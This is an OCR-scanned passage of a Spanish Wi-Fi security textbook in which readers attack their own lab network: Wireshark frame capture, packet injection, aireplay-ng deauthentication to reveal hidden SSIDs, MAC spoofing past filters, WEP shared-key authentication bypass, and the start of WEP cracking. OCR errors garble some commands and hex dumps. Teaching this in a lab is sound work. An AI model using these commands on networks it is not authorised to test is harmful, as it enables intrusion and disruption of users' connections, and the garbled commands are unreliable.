810.716763 C1sco-L1 05:c2:30 Broadcast 802.11 294 Beacon frame, SN=134, Fh=0, |
99.819167 Cisco-Li 05:¢2:30 Broadcast 802.11 294 Beacon frame, SN=135, Fu=0, |

15.0.921670  Cisco-L) 85:¢2:30 Broadcast 802.11 294 Beacon frame, SN=137, FN=0, fv

|+ Frame 4: 294 bytes on wire (2352 bits), 294 bytes captured (2352 bits)
+ Radiotap Header v0, Length 26
- IEEE 802.11 Beacon frame, Flags: ........ c
Type/Subtype: Beacon frame (Ox68)

#| Frame Control: Ox0080 (Normal)
Duration: 0
Destination address: Broadcast (Ff:ff:ff:fr:11:¢1)
Source address: C(1sco-Li 05:¢2:30 (¢0:¢1:¢0:05:¢2:30)
B5S Id: Cisco-Li 05:€2:30 (c0:¢1:¢0:05:¢2:30)
Fragment number: 0
Sequence number: 129

000 00 00 12 00 2f 48 0O 00 35 30 e8 12 0000 0O G0 ..../H.. 5;......
10 62 6¢ 69 a0 00 df 01 ©0 00 80 00 00 00 ff f1 .1
ff £f ff ff co ¢1 <0 05 ¢2 30 c0 1 ¢O 05 2 30 ;
10 98 9b 11 T4 14 00D 00 OO0 00 64 00 01 04 GO Gb .. .
Ac 61 62 6f 72 61 74 &f 72 69 6f 01 08 82 B4 Bb Laborato rio.....
96 24 3048 6c B3 01 01 ©5 04 02 03 00 90 2a 01 .sOML... ...... LA

6 00 2f 61 00 32 04 0c 12 1660 2d 1a fc 18 10 Ff /.. 2... ."-..... v
Packets: 11434 Displayed: 6316 Marked: 0 Dropped: 0 Profile: Default

Figura 3.12. Tramas de baliza del PA Cisco-Linksys
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5. También puede seleccionar algiin paquete, dar al boton derecho del raton
y elegir Apply as Filter > Selected para afiadirlo como filtro de busqueda
(Figura 3.13).

Observe que todas las cabeceras de las tramas de control, gestion o datos
se encuentran en texto plano; con lo que cualquiera con este programa u
otro similar podria leerlas.

* Capturing from mon0 [Wireshark 1.6.5 (SVN Rev Unknown from unknown)]

No. Time Source Destination | Protocol | Length Info

1 9.006000 C,\IS(u-Ll 05:c2:30 Broadca-sl 802.11 294 Beacon frame, SN=1298, FN=0,
2 0.102386 Cisco-Li 05:c2:30 Broadcast 802.11 294 Beacon frame, SN=1299, FN=0,
30.204772 Cisco-Li 05:¢2:30 Broadcast 802.11 294 Beacon frame, SN=1300, Fh=0,

40.307153  Cisco-Li 05:¢2:30 Broadcast 802.11 294 Beacon . SN=1301,
Cisco-Li 85:c2:30 5 - ;
60.5118680  Cisco-Li 05:¢2:30 > ) frame, SN=1303,
70.614475  Cisco-Li 05:c2:30 pa Beacon Trame, SN=1304, FN=0,
80.716847  Cisco-Ll ©05:c2:30 pa Beacon frame, SN=1305, FN=0,
9 0.819222 Cisco-L1 05:¢2:30 P4 Beacon frame, SN=1306, FN=0, |+

+ Frame 5: 294 bytes on wire (2352 bits), 29
+ Radiotap Meader v0, Length 26
- 1EEE 802.11 Beacon frame, Flags: ........ (4
Type/Subtype: Beacon frame (0x08)
+ Frame Control: Ox0080 (Normal)
Duration: @
Destination address: Broadcast (ff:ff.ff
Source address: Cisco-Li 05:¢2:36 (c@:cl
B55 Id: Cisco-Li B5:¢2:30 (cB:cl:c0:05:¢
Fragment number: 8
Sequence number: 1302

000G 00 0O 1a 00 2f 48 00 60 13 54 3e 4d 00
0010 10 D2 6¢ 09 a0 00 &1 1 00 00 BOG 0O 00
0020 ff ff ff ff c0 cl¢co 05 ¢230¢cO ¢l cOB5¢230 ........ .B.....0
6636 60 51 %e Ol 4a 47 00 00 ©0 0O 64 00 61 04 00 6b 0..16 X - L
0040 4c 61 62 6f 72 61 74 6f 72 69 6f 01 68 82 84 Bb Laborato rio.....
0650 96 24 30 48 6c 03 61 61 65 04 02 63 00 80 2a 61  .SOML... ......*.
0050 ©0 2f 01 60 32 04 Gc 12 1860 2d 1a fc 18 Wb ff ./ .2... ."-..... .

O mon0: <live capture in progress> ...  Packets: 772 Displayed: 772 Marked: Profile: Default

Figura 3.13. Filtro de bdsqueda por tipo de paquete

ADVERTENCIA DE SEGURIDAD

Un intruso puede capturar y modificar los paquetes para retransmitirlos
luego al mismo PA y, como no existe integridad en el proceso, esta
vulnerabilidad puede explotarse para realizar diversos ataques.
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3.3 CAPTURA EN LA RED LABORATORIO

................................................................................................................................................................................

Ya nos encontramos en condiciones de poner en practica la captura e inyeccion
de paquetes. Para simplificar todo el proceso y facilitar la captura de tramas, vamos
a usar nuestra propia red inalimbrica Laboratorio. Una vez configurada tal y como
se explico en el anterior capitulo, siga estos pasos:

1. Ponga en modo monitor su tarjeta de red inaldmbrica mediante el
comando airmon-ng start wlan0.

2. Escriba en un terminal airodump-ng --bssid C0:C1:C0:05:
€2:30 mon0, donde C0:C1:C0:05:C2:30 debe ser la direccion MAC
de su router. En un momento vera en la consola el nimero de canal (CH)
por el que estd transmitiendo (Figura 3.14).

root@bt: ~

Figura 3.14. Informacidn de la red Laboratorio

3. Dese cuenta de que el numero de canal por el que transmite su PA puede
ser distinto. Asi que anote en los siguientes campos la direccion fisica de
su router y el canal por el que transmite:

Juxaaen

Router

4. Para asegurarnos ahora de que no se va a modificar el canal durante
el proceso de captura, va a proceder a bloquearlo. Abra una consola e
mtroduzca el comando iwconfig mon0 channel 1y después iwconfig
mon0 para verificarlo. Vea que en nuestro caso la interfaz mon0 esta en
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modo monitor y la transmision se realiza a 2.412 MHz (2,412 GHz), que
es la equivalente al canal numero 1 (Figura 3.15).

root@bt:

jency:2. 412 GHzl  Tx.Pc

Figura 3.15. Blogueo de la interfaz mon0 para operar en el canal 1

5. Lance ahora Wireshark y comience a capturar paquetes. Cuando
empiecen a aparecer los mismos en la lista de paquetes, introduzca
el filtro correspondiente a su PA con la expresion wlan.bssid ==
00128005 «C2 1 30.

6. Si desea ver solo los paquetes de datos que envia su punto de acceso,
introduzca como filtro (wlan.bssid == C0:C1:C0:05:C2:30) &&
(wlan.fc.type subtipe == 0x20).Abra ahora el navegador web
del portatil victima y teclee la direccion IP del router, http://192.168.1.1.
Vera como Wireshark capturara todos los paquetes de datos generados en
el proceso (Figura 3.16).

4452} feB0.

~ LEEE 802.11 Data, Flags: ......F.C
Type/Subtype: Data (8x20)
= Frase Control: 0x0208 (Nermal)
Duration: @

o

g

4 L

Destination sddress: Ibvéacast 00:01:00:03 (333300000000 {ac:81:12:2F:31:e6}

855 1d: Cisco-Li 05:c2:30 (ch:c):clifl b8 -
.

3
Source address: GestekTe 20:31 n

Frageent number: 0

.,
.,

- Packets 2218 Displayed: 32 Marked: O Dropped O - Profile: Default

Figura 3.16. Paquetes de datos enviados por un router determinado



© RA-MA Capitulo 3. DEBILIDADES EN LAS REDES WI-FI 81

Observe que, entre otros datos, puede obtener informacion de las
direcciones MAC de su router (c0:c1:c0:05:¢2:30) y del ordenador de la
victima (ac:81:12:21:31:e6); asi como las direcciones IP locales del punto
de acceso (192.168.1.1) y del ordenador espiado (192.168.1.100); del
que ademas aparece su nombre (DAVID-PORTATIL). Por ello, resulta
esencial emplear, siempre que sea posible, conexiones cifradas en todas
las transmisiones.

3.4 INYECCION EN LA RED LABORATORIO

A continuacion, vamos a comenzar a inyectar paquetes en la red inalambrica
de pruebas. Lo curioso de este ejercicio es que esa inyeccion se va a realizar sin
necesidad de conectarnos al punto de acceso. Para esta practica, emplearemos el
comando aireplay-ng, que viene por defecto en BackTrack.

Las redes inaldmbricas operan fundamentalmente en las bandas de los
2,4 GHz y 5,0 GHz. No todos los adaptadores inalambricos que usamos pueden
trabajar en ambas simultdneamente. La tarjeta integrada de nuestra maquina atacante
solo soporta los estandares IEEE 802.11b/g, lo que significa que no podra operar de
ningun modo en 802.11a/n. Por ello, antes de capturar y/o inyectar paquetes en una
red inalambrica, tendremos que asegurarnos de en qué banda puede trabajar nuestro
adaptador.

— NOTA
|
g? Recuerde que para fijar un determinado canal con un adaptador inaldmbrico,
debe usar el comando iwconfig mon0 channel x,donde xrepresenta
el nimero de canal.

Por otro lado, también es interesante recalcar que en las redes Wi-Fi existen
multiples canales, sin embargo, una tarjeta solo podrd emitir o capturar en un inico
canal en un instante dado. S1 queremos capturar o inyectar paquetes en mas de un
canal simultaneamente necesitaremos tantas tarjetas de red como canales.
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Vamos manos a la obra. Abra Wireshark y siga cuidadosamente estos pasos:

. Introduzca en el campo Filtro la expresién (wlan.bssid ==
C0:C1:C0:05:C2:30) && ! (wlan.fc.type subtype == 0x08).
Esto hara que capturemos de nuestro router inicamente paquetes que no
sean balizas.

2. Abra ahora un terminal y escriba el comando aireplay-ng -9 -e
Laboratorio -a €0:C1:C0:05:C2:30 mon0. Observe en la figura
3.17 cémo la prueba de inyeccién ha sido un éxito.

root@bt: ~

Figura 3.17. Inyeccitn de paquetes en la red Laboratorio

3. Regrese a Wireshark y vera que hay una gran cantidad de paquetes
listados. Algunos de ellos los ha enviado el comando que acabamos de
ejecutar, mientras que otros provienen del propio punto de acceso en
respuesta a los paquetes inyectados (Figura 3.18).

3410 290 475400 Cise 85008

T 290 4THISE Cisco-id @5:c2: 00 0 Cr Mg IN e " 36 Dlsassociate, SNeSll. FNed, Flagse
M8 3907000 Chsco-ld Bhclid Bch g =i % Disanseciate, SNeRLl. PR, Flagee..
JA19 290603577 192.160.1.10) .0.0.252 e 4 V2 Menbership Report / Join group 224.
B4 V2 Memtership Aepert 7 Jein growp 239,243,

+ wire 151, 204 bytes captured (1632 Bits)
|+ Radiotap Mesder w0, Length 20
- TEEE 807.11 Data, Flags: ......R.C
Type/subitype: Data (820}
s Frame Controb: Suiled ilnrmal)

DesTinatine sddress. IPVESCAST 90:01:00.02 (33 31:00:01:00:02)
B5S 141 Cisco-Li 03:¢2:00 [¢@:cl:c005:¢2:30)
Ssarce addreis: CeatekTe 2. 31-ef (ac:B1:02:2F0 3 e8)

Figura 3.18. Paquetes enviados por el PA como respuesta a |a inyeccidn



© RA-MA Capitulo 3. DEBILIDADES EN LAS REDES WI-FI 83

3.5 AUTOEVALUACION 3

¥ ;Coémo se denominan las tramas encargadas de mantener la comunicacion
entre el punto de acceso y los clientes en una red inalambrica?

¥ ;Con qué comando ponemos el adaptador de red en modo monitor?

W ;Qué filtro escribiria en Wireshark para capturar paquetes que no sean
balizas de un router de direccion fisica 00:23:34:21:1b:417

¥V ;Que comando escribiria en un terminal para saber en qué canal esta
transmitiendo el PA anterior?

¥ Si quisiéramos bloquear la tarjeta inalambrica para que transmitiera
exclusivamente por el canal 12, ;qué comando deberiamos escribir?

WV (Cual de los siguientes comandos permite en BackTrack realizar
inyeccion de paquetes?

a) airmon-ng.
b) airodump-ng.
¢) aireplay-ng.
d) aircrack-ng.






VULNERABILIDAD EN LA AUTENTICACION

Las redes inalambricas, por su propia arquitectura, presentan grandes
debilidades en lo que a los distintos mecanismos de autenticacion se refiere. En este
capitulo veremos como esquivar diferentes métodos utilizados en las redes Wi-Fi,
y que por si solos no confieren seguridad alguna, como la ocultacion, los filtros por
direcciones MAC o las autenticaciones WEP de sistema abierto o mediante clave
compartida.

4.1 REDES OCULTAS

................................................................................................................................................................................

Por defecto, todos los puntos de acceso envian el nombre de su red (SSID)
en las tramas de baliza (Figura 4.1A). Esto permite conocer la existencia de una red
a cualquier maquina en el drea de cobertura de aquella. Cuando, por el contrario, se
elige ocultar el nombre de la red, el router lo tinico que hace es no difundirlo en las
tramas de baliza (Figura 4.1B). Esto hace que, al menos en teoria, solo los clientes
que conozcan el nombre de la red pueden establecer una conexién con el punto de
acceso.

Este mecanismo, que curiosamente muchos aun siguen empleando como
casi unico sistema de seguridad, no proporciona proteccion alguna.

Si ha observado detalladamente los diferentes pantallazos de Wireshark en
el capitulo anterior, se habra dado cuenta de que el nombre de la red (SSID) se
transmite en texto plano en las tramas de baliza, por lo que revelar su nombre es
realmente sencillo.
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2168 108.776537 Cisco-Li_05:c2:30 Broadcast 802.11 294 Beacon frame, SN=2542, FN=0,
+ Frame 2168: 294 bytes on wire (2352 bits), 294 bytes captured (2352 bits)
+ Radiotap Weader v@, Length 26
+ TEEE 862.11 Beacon frame, Flags: ........ 9 79 2.969603 Cisco-L1 05:c2:30 Broadcast 802.11 294 Beacon frame, SN=387, BI
- TEEE 802.11 wireless LAN management frame + Frame 79: 294 bytes on wire (2352 bits), 294 bytes captured (2352 bits)
# Fixed parameters (12 bytes) + Radiotap Header v8, Length 26
= Tagged paraleters (223 by!e * IEEE 862,11 lemn l'n-e. Floqs vein

: Supported Mtes 1(B), o + Fned parmters {12 bytes
: DS Parameter set : Current crmnnel =} “W'd le*lﬁs (225 hﬂ!ﬂ

: Traffic Indicotion Hap (TIH): DTN Tog: Supparted Rotes 1(8), 281, $.5(8), 11(8); 18, 24, 36, $4, (Mbit/sec]
) & Tag: Suppo es sec
+ERP Information % Tag: 0S Parameter set : Current Channel: 1

: ERP Information + Tag: Traffic Indication Map (TIM): DTIM 1 of & bitmap
: Extended Supported Rates 6, 9, 12, 4+ Tag: ERP Inforsation

: HT Capabilities (862.11n D1.18) + Tag: ERP Inforsation
: HT Information (882.11n D1.18) + Tlg Eucﬂded Suppertcd lmes 6, 9, 12, 48, [&n!uc]
: Overlapping BSS Scan Parameters: Tagoms=u=rsrs 161

T R ssmsnssoeae
91 00 32 84 6c 12 18 60 2d 1a fc 18

Figura 4.1. Difusion del nombre de red en las tramas de baliza

4.1.1 Descubriendo el SSID

Veamos ahora, de manera practica, como dejar al descubierto el identificador
de una red oculta:

1. Entre en el panel de control de su punto de acceso y vaya a las opciones
de red inalambrica. Alli marque la opcion Desactivar difusion de SSID o
similar, segin la marca de su router (Figura 4.2).

Hmir
CiISCO

Linksys E3000 £3000
Inalambrico

v Re X Ad &
Configuracion Inalémbrico Seguridad Almacenamiento Adminutracian Estado

Fadmatins inalgembresy by

Vista de configuracion

o Manus WiFi Protected Setup™

Parametros inalambricos de 5

GHz Modo de red Muto -
Hambre de la red [SSID) Laboratotic
Ancho de canal Automabico (20 6 30 MHz) =
Canal maldmbrice Aute [DFS) -

Diusién de SSI0 Ac

Figura 4.2. Desactivacidn de la difusion del nombre de red
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2. Abra Wireshark, ponga como filtro la direccion MAC de su punto de
acceso mediante wlan.bssid == C0:C1:C0:05:C2:30 y comience
a capturar las tramas de baliza de su router. Observe que el identificador
de la red ha desaparecido de estas tramas (Figura 4.1B). Esto es lo inico
que se consigue al ocultar la difusién de un nombre de red.

3. Si introduce en una consola en BackTrack el comando airodump-ng
wlan0 vera en la columna ESSID el nombre <length: 11> asociado a la
direccion fisica de su router. Si cuenta el namero de caracteres de la red
Laboratorio, verd que exactamente son 11.

4. Vea lo féacil que resulta esquivar esta primera traba. Abra una
consola e introduzca el comando aireplay-ng --deauth 6 -a
C0:C1:C0:05:C2:30 mon0 sindejar de capturar paquetes en Wireshark.
Con la opcion --deauth 6 lanzara un ataque de desautenticacion con seis
paquetes que conseguira desconectar a los legitimos clientes asociados al
router que tiene por direccion fisica C0:C1:C0:05:C2:30 (Figura 4.3). Si
la maquina que actia de victima se encuentra asociada al PA, observara
que se desconecta de la red para, poco después, volver a enlazarse,
consecuencia del ataque de desautenticacion ejecutado.

hack | track [

Figura 4.3. Ataque de desautenticacion
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5. Introduzca el siguiente filtro en Wireshark wlan.fc.type subtype ==
0x0c para ver de forma aislada los paquetes de desautenticacion (Figura 4.4).

1804 9.718750 Cisco-Li_05:c2:30 Broadcast B02.11 39 Deauthentication, SN=766, FN=0,
+ Frame 1864: 39 bytes on wire (312 bits), 39 bytes captured (312 bits)
+ Radiotap Header v@, Length 13
- IEEE 802.11 Deauthentication, Flags:
Type/Subtype: Deauthentication (ex6c)
{=| Frame Control: 8x00C8 (Normal)
Version: @
Type: Management frame (@)
Subtype: 12
+ Flags: @x8
Duration: @
Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
Source address: Cisco-Li 05:¢2:30 (c@:c1:c0:05:¢2:38)
BSS Id: Cisco-Li @5:¢2:30 (cB:c1:c0:05:¢2:38)
Fragment number: @
Sequence number: 766
+| IEEE 802.11 wireless LAN management frame

0090 00 00 0d 60 04 BO 62 80 02 00 00 00 0O [ 00 00 .
8010 00 ff ff ff ff ff ff & c1 co 85 c2 308 cO cl ¢O
0020 85 c2 30 0 2f 07 00

Figura 4.4. Paquete de desautenticacion

6. Una vez que el o los clientes legitimos se vuelven a autenticar en el PA,
podra ver el identificador de la red oculta inspeccionando las tramas de
peticion y respuesta (Probe Response). Introduzca como filtro en Wireshark

(wlan.bssid == C0:C1:C0:05:C2:30) && ! (wlan.fc.type
subtype == 0x08) para ver todos los paquetes que no son balizas
enviados por su router . Observe que el nombre de red, Laboratorio, se ha
puesto de manifiesto tras la autenticacion (Figura4.5).

1808 9.747796 Cisco-LiI 05:¢2:30 GemtekTe 2f:31:e6 802.11 396 Probe Response, SN=96, FN=0, Flag:
+ Frame 1868: 396 bytes on wire (3168 bits), 396 bytes captured (3168 bits)
+ Radiotap Header v@, Length 26
~ IEEE 862.11 Probe B
Type/Subtype: ox05)
# Frase Control: OXOUYD al
Duration: 314
Destination address: GemtekTe 2f:31:e6 (ac:81:12:2f:31:e6)
Source address: Cisco-Li 05:¢2:30 (c0:¢1:c0:05:¢2:30)
BSS Id: Cisco-Li @5:c2:30 (cB:cl:c0:085:c2:30)
Fragment number: 0
Sequence number: 96
# Frame check sequence: OxleaBbbéc [correct]
~ IEEE £62.11 wireless LAN managesent frame
# Fixed parameters (12 bytes)
= Tagged mrmters usa by‘les —
" ” ratorio

e

~3(B), 11(B), 18, 24, 36, 54, [Mbit/sec]

+ 'uq Supporled ﬂates ual
+ Tag: DS Farnle(er set : Current (harme! ]

908647‘:\131(0083 MSOMNBKN

61 62 &f 5f 72 69 6 019352543!!
%2430486(933109 2a0]00218i393134
B¢ 12 18 60 2d 1a fe 18 1b ff ff 66 60 01 60 00

A I AT I

Figura 4.5. Recuperacion del SSID en una red oculta
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TRUCO
Para SSID de redes ocultas de poca longitud, puede probarse un ataque
por fuerza bruta desde la consola de BackTrack con el comando mdk3

4.2 FILTRO POR DIRECCIONES MAC

................................................................................................................................................................................

El filtrado por direcciones fisicas es una técnica de autenticacion y
autorizacion bastante antigua en el campo de las redes cableadas. Sin embargo, estos
filtros, que permiten enlazar un determinado adaptador de red con un router, no
solucionan las debilidades propias de las redes inalambricas, pues sortearlos es algo
bastante sencillo.

Veamos a continuacion como sortear un filtro por MAC:

1. Configure primero su punto de acceso para introducir la direccion MAC
del adaptador inalambrico de su portatil victima. Nuestra red Laboratorio
seguira estando abierta. Para nuestro router, una vez en su panel de control,
accedemos a la ficha Filtro de MAC inalambrico y activamos el filtro para
permitir que solo el PC con direccion fisica AC:81:12:2F:31:E6 (nuestra
victima) pueda acceder a la red inalambrica (Figura 4.6).

aloar]n
cisco

Linksys EJ000

Inalambrico

Configuracion nalimbiico  Segurided Almacensmisnio

Filtro de MAC inalambrico
—

Restricclon do acceso Evitar que loy siguisntas PC accedan a 1 red inaldmbrca

que los Siguentes PC accedsn o la red inalimbnca

Lisia de fAilros de direcciones | | Lstsdechents |
MaC maldmbncos

MAC 02 0000 00000000 MAC 18 000000000000
MAC 03 000000000000 MAC 19 0000:00.0000:00
04 00 00 00 00.00 00 20 D0 90 9000 00 00

Figura 4.6. Filtro MAC para permitir el acceso a las maquinas listadas
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2. Unavezactivoelfiltro, tan solo lamaquina que actua de victimaen nuestras
pruebas podra autenticarse en el router. Si intentamos conectarnos con
otro ordenador, la conexion fallard. Pruebe a hacerlo con el portatil que
usamos como atacante mediante el comando ya visto iwconfig wlan0
essid Laboratorio. Vea ahora que cuando introduzcamos en un
terminal iwconfig wlan( obtendremos que no estamos asociados con el
punto de acceso (Figura 4.7).

back | track [5

Figura 4.7. Fallo en |a autenticacion como consecuencia del filtro por MAC

3. Para poder esquivar el filtro por direcciones MAC emplearemos
airodump-ng para hallar las direcciones fisicas de las méaquinas que
ya se encuentren autenticadas en el router. Abra un terminal y escriba
airodump-ng -c¢ 1 -a --bssid C0:C1:C0:05:C2:30 monO.
En bssid ponga la direccion MAC de su PA en indique por qué canal se
producira la transmision con la opcion -¢ (compruebe por qué canal esta
emitiendo el suyo). La salida nos mostrara las direcciones fisicas de las
maquinas (STATION) conectadas al router (Figura 4.8).

Figura 4.8. Obtencion de una direccion fisica autorizada
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Anote a continuacion la direccion fisica de su victima:

CIEEEE

MAC victima J

Una vez que conoce la direccion MAC de una maquina legitima, puede
suplantar su identidad. Para ello tiene que falsear la direccion fisica de su
adaptador de red para que el router crea que su maquina estd autorizada.

. Abra un terminal y escriba los siguientes comandos:

e ifconfig wlan0 down (detenemos la interfaz wlan0).
e macchanger -m XX:..:XX wlan0 (suplantamos la MAC).
e ifconfig wlan0 up (levantamos de nuevo la interfaz).

. Como observara en la consola, nuestro adaptador inalambrico actia ahora

como si tuviera la direccion fisica de la maquina legitima (Figura 4.9).

Figura 4.9. Direccién MAC suplantada

. Pruebe a asociarse ahora al router con el comando iwconfig wlan0

essid Laboratorio channel 1. Verd como esta vez si se establece
la conexion con el PA de forma totalmente transparente para el usuario
legitimo (Figura 4.10).

Figura 4.10. Filtro por MAC sorteado con éxito
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4.3 AUTENTICACION ABIERTA

Este es el protocolo por defecto de las redes 802.11. Todos los clientes que
inician el proceso de autenticacion ante un PA son registrados en la red. Se envian
en texto plano todas las tramas de gestion, incluso cuando el protocolo de cifrado
WEP esta activado. Asi pues, cuando un router se configura para usar autenticacion
abierta, no provee ninguna autenticacion en absoluto, pues se enlaza con cualquier
cliente que lo solicite (Figura 4.11).

Peticion de autenticacion

abierta
é
Autenticacion en la red

«

Figura 4.11. Mecanismo de autenticacion abierta

ADVERTENCIA DE SEGURIDAD
El propio mecanismo es una vulnerabilidad en sf mismo, pues todos los
clientes que pidan ser autenticados lo seran.

Veamos como sortear un mecanismo de autenticacion abierta:

1. Configure la red inalambrica Laboratorio para usar autenticacion
abierta. En los routers Cisco basta con elegir Desactivado en Modo
de seguridad. En otras marcas debera seleccionar directamente Open
Authentication como modo de seguridad WEP (Figura 4.12).

bl
cisco

Inalambrico

Figura 4.12. Configuracion de la red para emplear autenticacion abierta



© RA-MA Capitulo 4. VULNERABILIDAD EN LA AUTENTICACION 93

' ADVERTENCIA DE SEGURIDAD

Consulte siempre el manual de su punto de acceso antes de realizar
cambios en su configuracién. Asi mismo, guarde siempre una copia de

seguridad de su configuracion habitual.

2. Abra una consola en BackTrack y escriba iwconfig wlan0 essid
Laboratorio Yy verifique con iwconfig wlan0O que la conexion se ha
establecido con éxito (Figura 4.13).

kagkirack 55

Figura 4.13. Conexi6n a una red con autenticacion abierta

Dese cuenta de que no hemos necesitado ningtin nombre de usuario ni
contrasefia para autenticarnos en el router.

4.4 CLAVE COMPARTIDA

Este método de autenticacion se basa en un desafio entre el ordenador cliente
y el PA, donde ambos comparten una misma llave secreta para iniciar la autenticacion.

El funcionamiento es sencillo. El cliente envia una trama al router para
indicar que va a usar este método de autenticacion (peticion de autenticacion).
El PA responde con otra trama en la que envia un desafio como un texto plano
generado aleatoriamente. A continuacion, el cliente cifra dicho texto con la llave
que comparten y se lo reenvia. Lo tnico que debe ahora hacer el router es descifrar
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el criptograma y comprobar si coincide con el desafio enviado. Si es asi, el cliente
quedara autenticado en la red (Figura 4.14).

Peticion de autenticacion
-

>

I

= Desafio
<
‘il
Respuesta ")
»

Exito o fallo

-
<

Figura 4.14. Mecanismo de autenticacion en una red mediante clave compartida

A priori, parece un método bastante robusto; sin embargo, nada mas lejos
de la realidad. La falta de seguridad se debe a que cualquier atacante puede escuchar
la transmisidon completa y tener acceso de este modo tanto al texto plano como al
cifrado. Poseer ambos textos es lo que desde el punto de vista criptografico provoca
una enorme vulnerabilidad. Basta con aplicar una operacion XOR para obtener la
secuencia de caracteres aleatorios o pseudoaleatorios que combinada con el texto
plano produce el criptograma. Esta secuencia, a la que conocemos en criptografia
como keystream, se usara entonces para cifrar cualquier futuro desafio que envie el
punto de acceso. Todo ello sin tener la necesidad de conocer la llave actual.

Veamos como funciona esto de forma practica:

1. Acceda a la pestafia de seguridad inalambrica de su router y seleccione
WEP como modo de seguridad y clave compartida como mecanismo
de autenticacion, si observa esta opcion. En nuestro punto de acceso solo
es necesario elegir WEP, pues por defecto trabaja con clave compartida
(Figura4.15).

alietlng
Cisco

Inalambrico

Figura 4.15. Configuracion de la red para usar WEP con clave compartida
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2. Paraburlar el mecanismo de autenticacion, capture los diferentes paquetes

intercambiados entre el punto de acceso y sus legitimos clientes. Para
una mayor comodidad, guarde todas las tramas intercambiadas en el
proceso de autenticacion en un fichero de nombre keystream. Abra un
terminal y escriba el comando airodump-ng mon0 -c 9 --bssid
C0:C1l:C0:05:C2:30 -w keystream Sisu router emite por el canal
9, s1 no es su caso, cambie el numero por el adecuado (Figura 4.16).

hack | track [

Figura 4.16. Captura de paquetes en una red con autenticacion abierta

TRUCO

Es buena idea almacenar en ficheros diferentes los paquetes capturados
en distintas sesiones. De este modo podra realizar un analisis de los
| mismos con mayor tranquilidad.

3. Como observa en la ventana anterior, existe un ordenador enlazado al PA.

Ahora podriamos esperar a que volviera a conectarse o bien lanzar un
ataque de desautenticacion. En el momento en el que el cliente legitimo
se conecte de nuevo al punto de acceso y se autentique, airodump-ng
capturara los paquetes intercambiados durante el proceso. Una vez que
en la consola aparezcan las siglas SKA (Shared Key Authentication) en
la columna AUTH, sabra que la autenticacion se ha realizado con éxito
(Figura 4.17).
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root@bt: ~

Figura 4.17. Captura de paquetes en el proceso de autenticacién

4. La secuencia de datos aleatorios se almacenard en el fichero keystream-
01-XX:-:XX.xor (Figura 4.18).

Figura 4.18. Listado de ficheros con los paquetes capturados

5. Ya estamos a un paso de sortear la autenticacion por clave compartida.
En un segundo terminal, escriba aireplay-ng --fakeauth 0 -e
Laboratorio -y keystream-01-*.xor —a C0:C1:C0:05: C2:30
-h 00:11:22:33:44:55 mon0. Con esta opcion (--fakeauth)
indicamos a la interfaz mon0, a la que hemos puesto una direccion fisica
arbitraria 00:11:22:33:44:55, que se autentique en la red Laboratorio
del router C0:C1:C0:05:C2:30 con la secuencia aleatoria obtenida en el
punto 3. Si todo ha ido bien, en la consola de BackTrack veremos que la
autenticacion ha sido un éxito (Figura 4.19).
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root@bt: ~

Figura 4.19. Autenticacion en |a red WEP sin conocer su clave

6. Vuelvaalapantalla de airodump-ng y verd como ahora hay una maquina
con MAC 00:11:22:33:44:55 asociada al punto de acceso (Figura 4.20).
i'Y todo ello sin necesidad de conocer su clave!

e

back | track [=

Figura 4.20. Ataque realizado con éxito a una red con clave compartida
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4.5 AUTOEVALUACION 4

V (Como podemos forzar la desconexion de un cliente en una red
inalambrica?

¥ ;Qué comando escribiria para obtener las direcciones MAC de las
estaciones asociadas a un router de direccion fisica 00:00:23:2b:4c:dd
que emite por el canal 9?

¥ (Con qué comando modificamos la MAC de nuestro adaptador de red?
W Si desea capturar todos los paquetes intercambiados entre el punto de
acceso del ejercicio 2 y sus clientes y guardarlos en un archivo de nombre

“captura”, ;como lo haria?

¥ (Como conseguimos romper una autenticacion WEP por clave compartida
(SKA)?



DEBILIDADES EN EL CIFRADO

Los algoritmos de cifrado empleados en las redes inalambricas de area local
(WLAN) han sido muy vulnerables al criptoanélisis. Estas redes transmiten paquetes
por el aire y lo que es una ventaja en lo que respecta a la movilidad, se convierte en
su peor desventaja, pues hace que la informacion se vea facilmente comprometida.
Este es el motivo por el que se hace necesario cifrar la informacion entre el cliente y
el PA para asegurar la confidencialidad de la misma.

El comité regulador para el estandar IEEE 802.11 ha descrito el uso de los
siguientes algoritmos de cifrado:

v Wired Equivalent Privacy (WEP).
v Wi-Fi Protected Access (WPA).
v Wi-Fi Protected Access v2 (WPA2).

En este capitulo veremos someramente estos protocolos de cifrado y como
podemos realizar de forma practica distintos ataques contra ellos con el objetivo de
recuperar las contrasefias y asociarnos con el punto de acceso.

Wired Equivalent Privacy, o privacidad equivalente a las redes cableadas, en
castellano, es un algoritmo de cifrado empleado en las redes WLAN desde 1999 con
la idea de dar una confidencialidad similar a las conseguidas en las redes cableadas.
WEP emplea claves de 10 o 26 digitos hexadecimales para cifrar la informacion y ya
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resulté evidente al afio siguiente de su introduccion en el mercado informatico que
el algoritmo presentaba graves vulnerabilidades. En el afio 2003 la Alianza Wi-Fi
anuncio la reprobacion de dicho algoritmo. Dos afios mas tarde, un grupo del FBI
mostro pablicamente como romper una red Wi-Fi protegida con WEP en tan solo tres
minutos con herramientas de codigo abierto.

Veamos a continuacion como romper este algoritmo utilizando las
herramientas nativas de BackTrack.

9.2 REVENTANDO WEP

Para obtener la clave WEP de una conexion cifrada con este algoritmo, siga
cuidadosamente los siguientes pasos:

1. Abra el panel de control de su router para modificar el protocolo de
cifrado de la red inalambrica Laboratorio. En los PA Linksys de
Cisco seleccionamos la pestaiia Seguridad inalambrica de la ficha
Inalimbrico. Elija ahora como medio de cifrado el algoritmo WEP
de 26 digitos hexadecimales y escriba una contrasefia. En nuestro caso
vamos a poner como clave 00112233445566778899ABCDEF, ya que
asi contiene todos los digitos hexadecimales. Configure la suya como
desee (Figura 5.1).

altan]n
Cisco
Linksys EJ000 2000

Inalambrico Ciiado

Seguridad inalambrica
de 5 GHz

1047928 bas (26 dighos hexadecimales) =

ONZTIILLEECETIBISABCOEF

Figura 5.1. Configuracion de una red con WEP
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2. Guarde los cambios para aplicar la nueva configuracion.

3. Abra un terminal en el ordenador atacante y ponga el adaptador de red en

modo monitor con los comandos ya vistos:

ifconfig wlan0 up
airmon-ng start wlan0

. Ejecute el comando airodump-ng mon0 para detectar las distintas redes

inaldmbricas a nuestro alcance. Observe que la red Laboratorio aparece
ahora protegida con un cifrado WEP (Figura 5.2).

Figura 5.2. Redes inalambricas al alcance de la maquina atacante

5. Asi mismo, observe como existe ya una maquina asociada al router,

